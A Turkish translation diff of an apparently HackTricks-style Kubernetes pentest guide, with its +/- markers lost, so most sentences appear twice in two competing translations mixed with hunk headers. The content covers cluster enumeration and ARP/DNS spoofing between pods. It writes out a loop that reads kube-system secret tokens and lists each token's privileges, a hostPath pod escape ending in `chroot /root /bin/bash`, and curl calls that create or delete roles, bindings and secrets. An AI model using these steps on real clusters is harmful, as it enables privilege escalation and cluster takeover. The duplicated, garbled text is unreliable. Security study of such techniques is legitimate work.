- `metadata.uid`, `name`, `namespace`, `apiVersion` ve `kind` tam objeyi tanımlar ve farklı `namespace` veya API gruplarındaki aynı isimli objeler arasındaki karışıklığı önler.
- `metadata.labels` ve selectors, Services, Deployments, ReplicaSets, Pods, NetworkPolicies ve automation arasındaki bağlantıyı kurar. Selectors'ı takip etmek, bir Service için gerçek backend podlarını belirlemenin çoğu zaman en hızlı yoludur.
- `metadata.annotations`, ingress davranışı, cloud load balancer ayarları, GitOps veya Helm metadata'sı, policy exemptions ve service mesh yapılandırması gibi operasyonel bağlamı leak edebilir. İçlerinde secrets olmamalıdır, ancak gerçek cluster'lar sık sık orada faydalı ipuçları açığa çıkarır.
- `metadata.ownerReferences` controller soyunu gösterir. Bir Pod, bir Deployment tarafından owned edilen bir ReplicaSet tarafından owned ediliyorsa, yalnızca Pod'u değiştirmek veya silmek genellikle kaynağı düzeltmez.
- `metadata.finalizers` ve `metadata.deletionTimestamp`, silinmede takılı kalan resources'u açıklar ve cleanup controllers veya persistence/disruption tricks'i ortaya çıkarabilir.
- `status`, Events ve conditions, node yerleşimini, pod IP'lerini, image ID'lerini, hata mesajlarını, scheduling sorunlarını, admission denials'ı ve controller ilerlemesini açığa çıkarabilir. Bunlar faydalı ipuçlarıdır, ancak bir aksiyonu kimin gerçekleştirdiğini kanıtlamak için yine de audit logs gerekir.
- `metadata.uid`, `name`, `namespace`, `apiVersion` ve `kind` tam nesneyi tanımlar ve farklı namespaces ya da API groups içindeki aynı ada sahip nesneler arasında karışıklığı önler.
- `metadata.labels` ve selectors, Services, Deployments, ReplicaSets, Pods, NetworkPolicies ve automation arasında bağlantı kurar. Selectorsları takip etmek çoğu zaman bir Service için gerçek backend podsu belirlemenin en hızlı yoludur.
- `metadata.annotations`, ingress davranışı, cloud load balancer ayarları, GitOps veya Helm metadata, policy exemptions ve service mesh yapılandırması gibi operasyonel bağlamı leak edebilir. Secret içermemelidirler, ancak gerçek clusterlar çoğu zaman burada yararlı ipuçları ortaya çıkarır.
- `metadata.ownerReferences` controller soyunu gösterir. Bir Pod, bir Deployment tarafından sahiplenilen bir ReplicaSet tarafından sahipleniliyorsa, sadece Podu değiştirmek veya silmek genellikle kaynağı düzeltmez.
- `metadata.finalizers` ve `metadata.deletionTimestamp`, silinmede takılı kalan resourceları açıklar ve cleanup controllerlarını ya da persistence/disruption trickslerini ortaya çıkarabilir.
- `status`, Events ve conditions; node yerleşimini, pod IPlerini, image IDlerini, failure mesajlarını, scheduling sorunlarını, admission denialsı ve controller ilerlemesini ortaya çıkarabilir. Bunlar yararlı ipuçlarıdır, ancak bir aksiyonu kimin gerçekleştirdiğini kanıtlamak için audit logs yine de gereklidir.
### Dynamic Resource Allocation and device evidence
Cluster GPU, NIC, FPGA veya başka özel donanımlar kullanıyorsa, Kubernetes Dynamic Resource Allocation (DRA) olup olmadığını kontrol edin. DRA, mevcut cihazları tanımlamak ve bunları Pods için claim etmek amacıyla `DeviceClass`, `ResourceSlice`, `ResourceClaim` ve `ResourceClaimTemplate` gibi `resource.k8s.io` objects kullanır. Bu objects, hangi nodesun değerli donanımlara erişebildiğini, bunu hangi driver’ın yönettiğini ve hangi workloadun bir allocationa sahip olduğunu ortaya çıkarabilir.
```bash
kubectl api-resources --api-group=resource.k8s.io
kubectl get deviceclasses.resource.k8s.io 2>/dev/null
kubectl get resourceslices.resource.k8s.io 2>/dev/null
kubectl get resourceclaims.resource.k8s.io -A 2>/dev/null
kubectl get resourceclaimtemplates.resource.k8s.io -A 2>/dev/null
kubectl get pods -A -o jsonpath='{range .items[*]}{.metadata.namespace}{"/"}{.metadata.name}{" claims="}{.spec.resourceClaims}{" node="}{.spec.nodeName}{"\n"}{end}'
kubectl get daemonsets,pods -A -o wide | grep -Ei 'dra|device|gpu|nvidia|amd|intel|sriov|fpga'
```
İnceleme sırasında, cluster-scoped `DeviceClass` ve `ResourceSlice` nesnelerine yazma izinlerini yalnızca admin ve DRA driverlarla sınırlandırın, `ResourceClaim` / `ResourceClaimTemplate` yetkilerini ise bunlara ihtiyaç duyan namespacelerle sınırlı tutun. Driverların `ResourceClaim` statusunu güncelleme izinleri açık ve dar kapsamlı olmalıdır. Nodelarda, kubelet PodResources API genellikle `/var/lib/kubelet/pod-resources/kubelet.sock` üzerinden erişilebilir; monitoring DaemonSets bu dizini atanmış cihazları incelemek için mount edebilir, bu yüzden bu Podsları diğer privileged node agentlar gibi gözden geçirin.
### ClusterTrustBundle ve add-on certificate trust
Yeni clusters, `certificates.k8s.io` API group içinde `ClusterTrustBundle` nesnelerini expose edebilir. Bunlar cluster-scoped X.509 trust anchor bundlelarıdır ve Pods bunları projected volumes üzerinden mount edebilir. Geniş read erişimi beklenir, ancak write erişimi hassastır çünkü trusted rootların değiştirilmesi webhooks, aggregated APIs, service meshes ve cluster-distributed CA materyalini tüketen uygulamaları etkileyebilir.
```bash
kubectl api-resources --api-group=certificates.k8s.io | grep -i clustertrustbundle
kubectl get clustertrustbundles.certificates.k8s.io 2>/dev/null
kubectl get clustertrustbundle <name> -o yaml 2>/dev/null
kubectl get pods -A -o yaml | grep -n -E 'clusterTrustBundle|trustBundle|caBundle'
kubectl get apiservices -o jsonpath='{range .items[*]}{.metadata.name}{" insecure="}{.spec.insecureSkipTLSVerify}{" service="}{.spec.service.namespace}{"/"}{.spec.service.name}{"\n"}{end}'
```
During review, `signerName`, bundle fingerprints, writer identities, projected-volume consumers, and any trust-distribution controller such as cert-manager trust-manager kaydedin. `APIService` objects with `insecureSkipTLSVerify: true`, stale `caBundle` values, or broad permissions to patch APIService/webhook trust fields are certificate-trust findings rather than ordinary object inventory olarak ele alın.
### Get Current Privileges
@@ -212,21 +238,21 @@ kurl -i -s -k -X $'POST' \
{{#endtab }}
{{#endtabs }}
Yetkilerinizi kontrol etmenin başka bir yolu şu aracı kullanmaktır: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
Yetkilerinizi kontrol etmenin başka bir yolu da şu aracı kullanmaktır: [**https://github.com/corneliusweig/rakkess**](https://github.com/corneliusweig/rakkess)\*\*\*\*
**Kubernetes RBAC** hakkında daha fazla bilgi edinebilirsiniz:
**Kubernetes RBAC** hakkında daha fazla bilgiyi şurada öğrenebilirsiniz:
{{#ref}}
kubernetes-role-based-access-control-rbac.md
{{#endref}}
**Hangi yetkilere sahip olduğunuzu öğrendikten sonra**, bunları yetki yükseltmek için **istismar edip edemeyeceğinizi** anlamak için aşağıdaki sayfayı kontrol edin:
**Hangi yetkilere** sahip olduğunuzu öğrendikten sonra, yetki yükseltmek için **bunları abuse edebilir misiniz** anlamak için aşağıdaki sayfayı kontrol edin:
{{#ref}}
abusing-roles-clusterroles-in-kubernetes/
{{#endref}}
### Başkalarının rollerini al
### Get Others roles
{{#tabs }}
{{#tab name="kubectl" }}
@@ -244,9 +270,9 @@ kurl -k -v "https://$APISERVER/apis/authorization.k8s.io/v1/namespaces/eevee/clu
{{#endtab }}
{{#endtabs }}
### Namespaceleri edin
### Namespace'leri alın
Kubernetes, aynı fiziksel cluster tarafından desteklenen **birden fazla sanal cluster**'ı destekler. Bu sanal cluster'lara **namespaces** denir.
Kubernetes, aynı fiziksel cluster tarafından desteklenen **birden çok sanal cluster** destekler. Bu sanal cluster'lara **namespace** denir.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -262,7 +288,7 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/
{{#endtab }}
{{#endtabs }}
### Secret'leri al
### Secretleri elde et
{{#tabs }}
{{#tab name="kubectl" }}
@@ -281,13 +307,13 @@ kurl -v https://$APISERVER/api/v1/namespaces/custnamespace/secrets/
{{#endtab }}
{{#endtabs }}
Eğer secrets okuyabiliyorsan, her token ile ilişkili ayrıcalıkları almak için aşağıdaki satırları kullanabilirsin:
Gizli bilgileri okuyabiliyorsanız, her token ile ilişkili yetkileri elde etmek için aşağıdaki satırları kullanabilirsiniz:
```bash
for token in `k describe secrets -n kube-system | grep "token:" | cut -d " " -f 7`; do echo $token; k --token $token auth can-i --list; echo; done
```
### Service Accountları Al
### Service Accountları Al
Bu sayfanın başında tartışıldığı gibi **bir pod çalıştırıldığında genellikle ona bir service account atanır**. Bu nedenle, service accountları, izinlerini ve nerede çalıştıklarını listelemek, bir kullanıcının yetkilerini yükseltmesine izin verebilir.
Bu sayfanın başında tartışıldığı gibi **bir pod çalıştırıldığında ona genellikle bir service account atanır**. Bu nedenle, service accountları, izinleri ve nerede çalıştıkları listesini çıkarmak, bir kullanıcının yetkilerini yükseltmesine izin verebilir.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -303,9 +329,9 @@ kurl -k -v https://$APISERVER/api/v1/namespaces/{namespace}/serviceaccounts
{{#endtab }}
{{#endtabs }}
### Deployment'ları Al
### Deployment'leri Al
Deployment'lar, stateless application workload'ları için istenen state'i belirtir. ReplicaSet'ler oluştururlar ve bu ReplicaSet'ler de Pod'lar oluşturur.
Deployment'ler stateless application iş yükleri için istenen durumu belirtir. ReplicaSet'leri oluştururlar ve bu ReplicaSet'ler de Pod'ları oluşturur.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -324,7 +350,7 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/deployments/
### StatefulSets Al
StatefulSets, sabit adlara, sıralı rollout davranışına ve çoğu zaman replica başına persistent volumes'a ihtiyaç duyan Pods'ları yönetir.
StatefulSets, sabit isimlere, sıralı rollout davranışına ve çoğu zaman her replica için kalıcı volumelara ihtiyaç duyan Podsu yönetir.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -341,9 +367,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/statefulsets/
{{#endtab }}
{{#endtabs }}
### Podları Al
### Pod'ları Al
Podlar, **çalışacak** gerçek **container**'lardır.
Pod'lar, **çalışacak** gerçek **containers**'lardır.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -362,7 +388,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/pods/
### Servisleri Al
Kubernetes **services** bir **servisi belirli bir port ve IP üzerinde expose etmek** için kullanılır (bu, aslında servisi sunan pod'lar için load balancer olarak çalışır). Bu, saldırmayı denemek için başka servisleri nerede bulabileceğini bilmek açısından ilginçtir.
Kubernetes **services** bir **servisi belirli bir port ve IP üzerinde expose etmek** için kullanılır (bu, hizmeti gerçekten sağlayan podlara karşı load balancer olarak davranır). Bu, saldırmayı denemek için başka servicesi nerede bulabileceğini bilmek açısından ilginçtir.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -379,9 +405,9 @@ kurl -v https://$APISERVER/api/v1/namespaces/<namespace>/services/
{{#endtab }}
{{#endtabs }}
### Node'ları Get et
### Node'ları al
Cluster içinde yapılandırılmış tüm **node'ları** Get et.
Cluster içine yapılandırılmış tüm **node'ları** alın.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -397,9 +423,9 @@ kurl -v https://$APISERVER/api/v1/nodes/
{{#endtab }}
{{#endtabs }}
### DaemonSets Alın
### DaemonSets'i Alın
**DaemonSets**, kümenin **seçilen tüm node'larında belirli bir Pod'un çalışmasını** sağlar. DaemonSet'i silerseniz, onun tarafından yönetilen Pod'lar da kaldırılacaktır.
**DaemonSets**, bir **belirli Pod'un kümedeki tüm seçili node'larda çalışmasını** sağlar. DaemonSet'i silerseniz, onun tarafından yönetilen Pod'lar da kaldırılır.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -415,9 +441,9 @@ kurl -v https://$APISERVER/apis/apps/v1/namespaces/<namespace>/daemonsets
{{#endtab }}
{{#endtabs }}
### Jobs Al
### Jobları Al
Jobs, tamamlanana kadar çalışan Pods oluşturur. Genellikle migrations, backups, batch work ve tek seferlik administrative tasks için kullanılır.
Joblar, tamamlanana kadar çalışan Pods oluşturur. Genellikle migrationlar, backups, batch work ve tek seferlik administrative tasks için kullanılır.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -434,9 +460,9 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/jobs
{{#endtab }}
{{#endtabs }}
### CronJobları Al
### CronJobs Al
CronJoblar, görev tarzı yürütme için Podları başlatan Joblar oluşturmak üzere crontab benzeri bir zamanlama kullanır.
CronJobs, görev tarzı yürütme için Pod'ları başlatan Jobs oluşturmak üzere crontab benzeri bir zamanlama kullanır.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -453,9 +479,9 @@ kurl -v https://$APISERVER/apis/batch/v1/namespaces/<namespace>/cronjobs
{{#endtab }}
{{#endtabs }}
### configMap al
### configMap alın
configMap her zaman kubernetes içinde çalışan uygulamalara sağlanan çok sayıda bilgi ve configfile içerir. Genellikle diğer internal/external servicelere bağlanmak ve doğrulama yapmak için kullanılan birçok password, secrets, token bulunabilir.
configMap her zaman kubernetes içinde çalışan uygulamalara sağlanan çok fazla bilgi ve configfile içerir. Genellikle diğer internal/external service'lere bağlanmak ve doğrulamak için kullanılan birçok password, secrets, token bulabilirsiniz.
{{#tabs }}
{{#tab name="kubectl" }}
@@ -471,7 +497,7 @@ kurl -v https://$APISERVER/api/v1/namespaces/${NAMESPACE}/configmaps
{{#endtab }}
{{#endtabs }}
### Network Policies / Cilium Network Policies alın
### Network Policy'leri / Cilium Network Policy'leri al
{{#tabs }}
{{#tab name="First Tab" }}
@@ -483,7 +509,7 @@ k get CiliumClusterwideNetworkPolicies
{{#endtab }}
{{#endtabs }}
### Her Şeyi / Hepsini Al
### Her Şeyi / Tümünü Al
{{#tabs }}
{{#tab name="kubectl" }}
@@ -493,7 +519,7 @@ k get all
{{#endtab }}
{{#endtabs }}
### **helm tarafından yönetilen tüm kaynakları alın**
### **helm tarafından yönetilen tüm kaynakları al**
{{#tabs }}
{{#tab name="kubectl" }}
@@ -513,21 +539,21 @@ k top pod --all-namespaces
{{#endtab }}
{{#endtabs }}
## kubectl kullanmadan cluster ile etkileşim kurmak
## Cluster ile kubectl kullanmadan etkileşim kurmak
Kubernetes control plane'in REST-ful bir API ortaya koyduğunu gördüğünüzde, HTTP isteklerini elle oluşturup bunları **curl** veya **wget** gibi diğer araçlarla gönderebilirsiniz.
Kubernetes control plane'in REST-ful bir API açtığını gördüğünüzde, HTTP isteklerini elle oluşturup bunları **curl** veya **wget** gibi diğer araçlarla gönderebilirsiniz.
### Pod'dan kaçış
### Pod'dan kaçmak
Yeni pod'lar oluşturabiliyorsanız, onlardan node'a kaçış yapmanız mümkün olabilir. Bunu yapmak için bir yaml dosyası kullanarak yeni bir pod oluşturmanız, oluşturulan pod'a geçmeniz ve ardından node'un sistemine chroot yapmanız gerekir. Yaml dosyası için halihazırda var olan pod'ları referans olarak kullanabilirsiniz; çünkü bunlar mevcut image'ları ve path'leri gösterir.
Yeni pods oluşturabiliyorsanız, onlardan node'a escape etmeyi başarabilirsiniz. Bunu yapmak için bir yaml dosyası kullanarak yeni bir pod oluşturmanız, oluşturulan pod'a geçmeniz ve ardından node'un sistemine chroot yapmanız gerekir. yaml dosyası için zaten var olan pods'ları referans olarak kullanabilirsiniz; çünkü bunlar mevcut images ve pathes'i gösterir.
```bash
kubectl get pod <name> [-n <namespace>] -o yaml
```
> belirli bir node üzerinde pod oluşturmanız gerekiyorsa, node üzerindeki labels'ı almak için aşağıdaki komutu kullanabilirsiniz
> belirli bir node üzerinde pod oluşturmanız gerekiyorsa, node üzerindeki label'ları almak için aşağıdaki komutu kullanabilirsiniz
>
> `k get nodes --show-labels`
>
> Genellikle, kubernetes.io/hostname ve node-role.kubernetes.io/master seçmek için iyi label'lardır.
> Genellikle, kubernetes.io/hostname ve node-role.kubernetes.io/master seçim için iyi label'lar olur.
Ardından attack.yaml dosyanızı oluşturursunuz
```yaml
@@ -561,21 +587,21 @@ restartPolicy: Never
```
[original yaml source](https://gist.github.com/abhisek/1909452a8ab9b8383a2e94f95ab0ccba)
Bundan sonra pod oluşturursun
Sonrasında pod oluşturursun
```bash
kubectl apply -f attacker.yaml [-n <namespace>]
```
Şimdi oluşturulan pod'a şu şekilde geçebilirsiniz
Şimdi oluşturulan poda aşağıdaki şekilde geçiş yapabilirsiniz
```bash
kubectl exec -it attacker-pod [-n <namespace>] -- sh # attacker-pod is the name defined in the yaml file
```
Ve sonunda nodeun sistemine chroot edersin
Ve sonunda node'un system'ine chroot yaparsın
```bash
chroot /root /bin/bash
```
Information obtained from: [Kubernetes Namespace Breakout using Insecure Host Path Volume — Part 1](https://blog.appsecco.com/kubernetes-namespace-breakout-using-insecure-host-path-volume-part-1-b382f2a6e216) [Attacking and Defending Kubernetes: Bust-A-Kube Episode 1](https://www.inguardians.com/attacking-and-defending-kubernetes-bust-a-kube-episode-1/)
### privileged bir pod oluşturma
### Ayrıcalıklı bir pod oluşturma
İlgili yaml dosyası aşağıdaki gibidir:
```yaml
@@ -623,7 +649,7 @@ curl --path-as-is -i -s -k -X $'POST' \
```
### Bir pod sil
curl ile bir pod sil:
curl ile bir pod silin:
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -658,7 +684,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"v1\",\"kind\":\"ServiceAccount\",\"metadata\":{\"name\":\"secrets-manager-sa-2\",\"namespace\":\"default\"}}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Bir Service Account silin
### Bir Service Account silme
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -675,7 +701,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/serviceaccounts/$SA_NAME"
```
### Bir Role Oluşturun
### Bir Role oluşturun
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -693,7 +719,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"Role\",\"metadata\":{\"name\":\"secrets-manager-role\",\"namespace\":\"default\"},\"rules\":[{\"apiGroups\":[\"\"],\"resources\":[\"secrets\"],\"verbs\":[\"get\",\"create\"]}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/roles?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Bir Role sil
### Bir Role silme
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -728,7 +754,7 @@ curl --path-as-is -i -s -k -X $'POST' \
--data-binary $'{\"apiVersion\":\"rbac.authorization.k8s.io/v1\",\"kind\":\"RoleBinding\",\"metadata\":{\"name\":\"secrets-manager-role-binding\",\"namespace\":\"default\"},\"roleRef\":{\"apiGroup\":\"rbac.authorization.k8s.io\",\"kind\":\"Role\",\"name\":\"secrets-manager-role\"},\"subjects\":[{\"apiGroup\":\"\",\"kind\":\"ServiceAccount\",\"name\":\"secrets-manager-sa\",\"namespace\":\"default\"}]}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/$NAMESPACE/default/rolebindings?fieldManager=kubectl-client-side-apply&fieldValidation=Strict"
```
### Bir Role Binding silin
### Bir Role Binding silinmesi
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -746,7 +772,7 @@ curl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/apis/rbac.authorization.k8s.io/v1/namespaces/$NAMESPACE/rolebindings/$ROLE_BINDING_NAME"
```
### Bir Secret silme
### Bir Secret silin
```bash
CONTROL_PLANE_HOST=""
TOKEN=""
@@ -781,7 +807,7 @@ ccurl --path-as-is -i -s -k -X $'DELETE' \
--data-binary $'{\"propagationPolicy\":\"Background\"}\x0a' \
"https://$CONTROL_PLANE_HOST/api/v1/namespaces/$NAMESPACE/secrets/$SECRET_NAME"
```
## References
## Referanslar
{{#ref}}
https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-3
@@ -4,13 +4,13 @@
## Introduction
Kubernetes'te, varsayılan davranışın **aynı node üzerinde bulunan tüm containerlar** arasında bağlantı kurulmasına izin verdiği gözlemlenmiştir. Bu, namespace ayrımlarından bağımsız olarak geçerlidir. Bu bağlantı **Layer 2**'ye (Ethernet) kadar uzanır. Sonuç olarak, bu yapılandırma sistemi potansiyel olarak açıklara maruz bırakır. Özellikle, bir **malicious container**'ın aynı node üzerindeki diğer containerlara karşı bir **ARP spoofing attack** gerçekleştirmesine olanak tanır. Böyle bir attack sırasında, malicious container diğer containerlara yönelik network traffic'i aldatıcı biçimde intercept veya modify edebilir.
Kuberneteste, varsayılan bir davranışın, **aynı node üzerinde bulunan tüm container**lar arasında bağlantı kurulmasına izin verdiği gözlemlenmiştir. Bu, namespace farklarından bağımsız olarak geçerlidir. Bu bağlantı **Layer 2**ye (Ethernet) kadar uzanır. Sonuç olarak, bu yapılandırma sistemi potansiyel olarak güvenlik açıklarına maruz bırakır. Özellikle, aynı node üzerindeki diğer containerlara karşı **malicious container**’ın bir **ARP spoofing attack** gerçekleştirmesine olanak tanır. Böyle bir saldırı sırasında malicious container, diğer containerlar için amaçlanan network traffici hileli şekilde kesebilir veya değiştirebilir.
ARP spoofing attack'ler, **attacker'ın yerel ağ üzerinden sahte ARP** (Address Resolution Protocol) mesajları göndermesini içerir. Bu, **attacker'ın MAC address'i ile ağdaki meşru bir bilgisayar veya server'ın IP address'i arasında bağlantı kurulmasına** yol açar. Böyle bir attack başarıyla gerçekleştirildikten sonra, attacker transit halindeki data'yı intercept, modify edebilir veya hatta durdurabilir. Attack, OSI modelinin Layer 2'sinde gerçekleştirilir; bu nedenle Kubernetes'teki bu katmandaki varsayılan connectivity security concerns oluşturur.
ARP spoofing attacks, saldırganın yerel bir ağ üzerinde sahte **ARP** (Address Resolution Protocol) mesajları göndermesini içerir. Bu, **saldırganın MAC addressinin ağdaki meşru bir bilgisayar veya serverın IP addressi ile ilişkilendirilmesi** ile sonuçlanır. Böyle bir saldırı başarıyla gerçekleştirildikten sonra, saldırgan verileri transit halinde kesebilir, değiştirebilir veya hatta durdurabilir. Saldırı OSI modelinin Layer 2sinde gerçekleştirilir; bu nedenle Kuberneteste bu katmandaki varsayılan bağlantı güvenlik endişeleri doğurur.
Bu senaryoda 4 machine oluşturulacaktır:
Senaryoda 4 machine oluşturulacak:
- ubuntu-pe: Node'a escape etmek ve metrics kontrol etmek için privileged machine (attack için gerekli değil)
- ubuntu-pe: nodea kaçmak ve metrics kontrol etmek için privileged machine (saldırı için gerekli değil)
- **ubuntu-attack**: default namespace içinde **malicious** container
- **ubuntu-victim**: kube-system namespace içinde **Victim** machine
- **mysql**: default namespace içinde **Victim** machine
@@ -98,20 +98,36 @@ kubectl exec -it mysql bash -- bash -c "apt update; apt install -y net-tools; ba
```
## Basic Kubernetes Networking
Burada tanıtılan networking konuları hakkında daha fazla ayrıntı istiyorsanız, referanslara gidin.
Burada tanıtılan networking konuları hakkında daha fazla detay istiyorsanız, references kısmına gidin.
### ARP
Genel olarak, **node içindeki pod-to-pod networking**, tüm pod'ları birbirine bağlayan bir **bridge** üzerinden sağlanır. Bu bridge “**cbr0**” olarak adlandırılır. (Bazı network plugin'leri kendi bridge'ini kurar.) **cbr0 ayrıca ARP** (Address Resolution Protocol) çözümlemesini de yapabilir. Gelen bir packet cbr0'ya ulaştığında, hedef MAC address'ini ARP kullanarak çözebilir.
Genel olarak konuşursak, node içindeki **pod-to-pod networking** tüm podları bağlayan bir **bridge** üzerinden sağlanır. Bu bridge “**cbr0**” olarak adlandırılır. (Bazı network plugins kendi bridgelerini kurar.) **cbr0 ayrıca ARP** (Address Resolution Protocol) çözümlemesini de yapabilir. Bir incoming packet cbr0ya ulaştığında, hedef MAC addressi ARP kullanarak çözebilir.
Bu gerçek, varsayılan olarak, **aynı node üzerinde çalışan her pod'un**, ethernet seviyesinde (layer 2) aynı node içindeki herhangi başka bir pod ile **communicate** edebileceği anlamına gelir (namespace'den bağımsız olarak).
Bu durum, varsayılan olarak, **aynı node üzerinde çalışan her podun** aynı nodedaki diğer herhangi bir pod ile, namespaceten bağımsız olarak, ethernet seviyesinde (layer 2) **communicate** edebileceği anlamına gelir.
> [!WARNING]
> Bu nedenle, aynı node içindeki pod'lar arasında A**RP Spoofing attacks** gerçekleştirmek mümkündür.
> Bu nedenle, aynı nodedaki podlar arasında A**RP Spoofing attacks** yapmak mümkündür.
### NetworkPolicy and admin policy layers
Kubernetes `NetworkPolicy`, L3/L4 seviyesinde pod traffic control sağlar, ancak API server tarafından değil CNI plugin tarafından uygulanır. Bir cluster, NetworkPolicy objelerini saklayıp yine de traffice izin verebilir; eğer aktif CNI bunları implement etmiyorsa, bu yüzden her zaman kontrollü bir allowed source ve blocked negative-control source ile doğrulayın.
`kubectl get networkpolicy -A` ile yetinmeyin. Cilium, Calico, OVN-Kubernetes, Antrea veya managed-provider dataplanes kullanan clusterlarda ayrıca `CiliumNetworkPolicy`, `CiliumClusterwideNetworkPolicy`, Calico `GlobalNetworkPolicy`, `AdminNetworkPolicy` veya `BaselineAdminNetworkPolicy` gibi policy APIs de olabilir. Bunlar explicit deny, tier/order, cluster scope, L7/DNS rules veya ordinary additive Kubernetes NetworkPolicy semanticsin açıklamadığı admin guardrails ekleyebilir.
Useful first checks:
```bash
kubectl api-resources | grep -Ei 'networkpolicy|adminnetworkpolicy|cilium|calico'
kubectl get networkpolicy -A
kubectl get cnp,ccnp -A 2>/dev/null
kubectl get globalnetworkpolicy -A 2>/dev/null
kubectl get adminnetworkpolicy,baselineadminnetworkpolicy -A 2>/dev/null
```
Bypass analizi için, amaçlanan bloklamanın izin verilen bir proxy, DNS veya egress gateway, `hostNetwork` pod, node-local path, geniş namespace ya da pod label selector veya daha yüksek öncelikli bir admin/global policy üzerinden aşılıp aşılmadığını kontrol edin. Kaynak pod labellarını, namespace labellarını, hedef Service veya EndpointSlicei, CNI/policy implementation’ını, kararı veren policy kuralını ve trafik kanıtını raporlayın.
### DNS
kubernetes ortamlarında genellikle kube-system namespace'inde çalışan 1 (veya daha fazla) **DNS services** bulursunuz:
kubernetes ortamlarında genellikle kube-system namespaceinde çalışan 1 (veya daha fazla) **DNS service** bulursunuz:
```bash
kubectl -n kube-system describe services
Name: kube-dns
@@ -136,30 +152,30 @@ Port: metrics 9153/TCP
TargetPort: 9153/TCP
Endpoints: 172.17.0.2:9153
```
Önceki bilgide ilginç bir şey görebilirsiniz, **servisin IP** adresi **10.96.0.10** ama servisi çalıştıran **podun IP** adresi **172.17.0.2.**
Önceki bilgide ilginç bir şey görebilirsiniz, **servisin IP'si** **10.96.0.10** ancak servisi çalıştıran **pod'un IP'si** **172.17.0.2.**
Herhangi bir pod içindeki DNS adresini kontrol ederseniz buna benzer bir şey bulacaksınız:
Herhangi bir pod içindeki DNS adresini kontrol ederseniz, bunun gibi bir şey bulursunuz:
```
cat /etc/resolv.conf
nameserver 10.96.0.10
```
Ancak pod, bu **adrese** nasıl ulaşacağını **bilmez** çünkü bu durumda **pod range** 172.17.0.10/26dır.
Ancak, pod bu **adrese** nasıl ulaşacağını **bilmiyor** çünkü bu durumda **pod range** 172.17.0.10/26.
Bu nedenle, pod **DNS isteklerini 10.96.0.10 adresine** gönderecek ve bu adres cbr0 tarafından **172.17.0.2ye** **translate** edilecektir.
Bu nedenle, pod **DNS isteklerini 10.96.0.10 adresine** gönderecek ve bu istekler cbr0 tarafından **172.17.0.2ye** **translated** edilecektir.
> [!WARNING]
> Bu, bir podun **DNS request**inin, DNS server aynı alt ağda olsa bile, **service IPyi endpoint IPye translate etmek** için **her zaman** **bridge** üzerinden gideceği anlamına gelir.
> Bu, bir podun **DNS request**inin, DNS server pod ile aynı subnetwork içinde olsa bile, **service IPyi endpoint IPye translate etmek** için **her zaman bridge** üzerinden gideceği anlamına gelir.
>
> Bunu bildiğimizde ve **ARP attacks** mümkün olduğunda, bir node içindeki bir **pod** **subnetwork** ile **bridge** arasındaki **her pod** arasındaki trafiği **intercept** edip DNS serverdan gelen **DNS responses**ları (**DNS Spoofing**) **modify** edebilecektir.
> Bunu bildiğimizde ve **ARP attacks are possible** olduğunu düşündüğümüzde, bir node içindeki **pod**, aynı subnetworkteki **her pod** ile **bridge** arasındaki trafiği **intercept** edip DNS serverdan gelen **DNS responses**ları değiştirebilir (**DNS Spoofing**).
>
> Ayrıca, eğer **DNS server** saldırganla **aynı node** üzerindeyse, saldırgan clusterdaki herhangi bir podun **tüm DNS request**lerini (DNS server ile bridge arasında) **intercept** edip yanıtları değiştirebilir.
> Ayrıca, eğer **DNS server** saldırganla **aynı node** üzerindeyse, saldırgan clusterdaki herhangi bir podun tüm **DNS request**lerini (DNS server ile bridge arasında) **intercept** edip yanıtları değiştirebilir.
> [!NOTE]
> Gerçek bir clusterda bunun çalıştığını varsaymadan önce aktif CNI ve DNS pathi doğrulayın. Bazı CNIler aynı node trafiğini farklı şekilde route eder veya isolate eder, ayrıca NodeLocal DNSCache kullanan clusterlar pod DNS sorgularını CoreDNSe iletmeden önce node-local bir adrese gönderebilir. Bu ortamlarda DNS spoofing; pod yerleşimine, packet yeteneklerine, resolver yapılandırmasına, node-local cache davranışına ve uygulamaların peerleri TLS veya başka bir kimlik mekanizmasıyla doğrulayıp doğrulamadığına bağlıdır.
